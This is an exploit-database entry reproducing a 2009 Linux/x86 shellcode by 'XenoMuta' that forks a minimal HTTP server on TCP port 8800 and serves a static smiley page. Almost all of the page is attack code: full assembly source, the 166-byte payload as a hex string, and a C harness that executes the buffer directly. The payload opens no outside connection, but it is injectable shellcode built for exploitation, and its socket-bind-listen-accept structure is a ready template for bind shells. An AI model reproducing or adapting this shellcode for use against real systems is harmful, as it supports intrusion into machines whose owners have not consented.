Exploit Linux/x86 - HTTP Server (8800/TCP) + fork() Shellcode (166 bytes)

[Exploiter]

EDB-ID

13308

Проверка EDB

1. Пройдено

Автор

XENOMUTA

Тип уязвимости

SHELLCODE

Платформа

LINUX_X86

CVE

N/A

Дата публикации

2009-09-15

/*
    _  __                 __  ___      __
   | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
   |   / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
  /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ /
 /_/|_\___/_/ /_/\____/_/  /_/\__,_/\__/\__,_/

 xenomuta\x40phreaker\x2enet
 http://xenomuta.tuxfamily.org/ - Methylxantina 256mg

 Description:
 a linux/x86 shellcode that forks a HTTP Server on port tcp/8800

 OS: Linux
 Arch: x86
 Length: 166 bytes
 Author: XenoMuta

 hola at:
  str0k3, garay, fr1t0l4y, emra.
  - God bless you all -
 
==== SOURCE CODE ====
.globl _start
_start:
	xor %eax, %eax
	mov $0x02, %al
	int $0x80
	test %eax, %eax
	jz socket
	xor %eax, %eax
	incb %al
	int $0x80
txt:
	pop %ecx
	movb $27, %dl
	int $0x80

close:
	movb $0x6, %al
	mov %esi, %ebx
	int $0x80

exit:
	mov $0x01, %al
	xor %ebx, %ebx
	int $0x80

socketcall:
	pop %esi
	mov $0x66, %al
	incb %bl
	mov %esp, %ecx
	int $0x80
	jmp *%esi

socket:
	cltd
	xor %eax, %eax
	xor %ebx, %ebx
	push $0x6
	push $0x1
	push $0x2
	call socketcall

bind:
	mov %eax, %edi
	xor %edx, %edx
	push %edx
	pushw $0x6022
	pushw %bx
	mov %esp, %ecx
	push $0x10
	push %ecx
	push %edi
	call socketcall

listen:
	inc %bl
	push $0x05
	push %edi
	call socketcall

accept:
	xor %ecx, %ecx
	push %edx
	push %edx
	push %edi
	call socketcall
	
fork:
	mov %eax, %esi
	xor %eax, %eax
	mov $0x02, %al
	int $0x80
	test %eax, %eax
	jz write

	xor %eax, %eax
	mov $0x06, %al
	mov %esi, %ebx
	int $0x80

	xor %eax, %eax
	xor %ebx, %ebx
	mov $0x04, %bl
	jmp accept

write:
	mov %esi, %ebx
	mov $0x04, %al
	call txt
	.string "HTTP/1.0 200\r\n\r\n<h1>:)</h1>"
==== SOURCE CODE ====
*/
char shellcode[] = "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x22\x31\xc0\xfe\xc0\xcd\x80\x59\xb2\x1b\xcd\x80\xb0\x06\x89\xf3\xcd\x80\xb0\x01\x31\xdb\xcd\x80\x5e\xb0\x66\xfe\xc3\x89\xe1\xcd\x80\xff\xe6\x99\x31\xc0\x31\xdb\x6a\x06\x6a\x01\x6a\x02\xe8\xe5\xff\xff\xff\x89\xc7\x31\xd2\x52\x66\x68\x22\x60\x66\x53\x89\xe1\x6a\x10\x51\x57\xe8\xcf\xff\xff\xff\xfe\xc3\x6a\x05\x57\xe8\xc5\xff\xff\xff\x31\xc9\x52\x52\x57\xe8\xbb\xff\xff\xff\x89\xc6\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x10\x31\xc0\xb0\x06\x89\xf3\xcd\x80\x31\xc0\x31\xdb\xb3\x04\xeb\xda\x89\xf3\xb0\x04\xe8\x85\xff\xff\xff\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32\x30\x30\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x3a\x29\x3c\x2f\x68\x31\x3e";

int main ()
{
	printf("Length: %d bytes\n", strlen(shellcode));
	int (*sc)() = (int (*)())shellcode;
	sc();
	return 0;
}

// milw0rm.com [2009-09-15]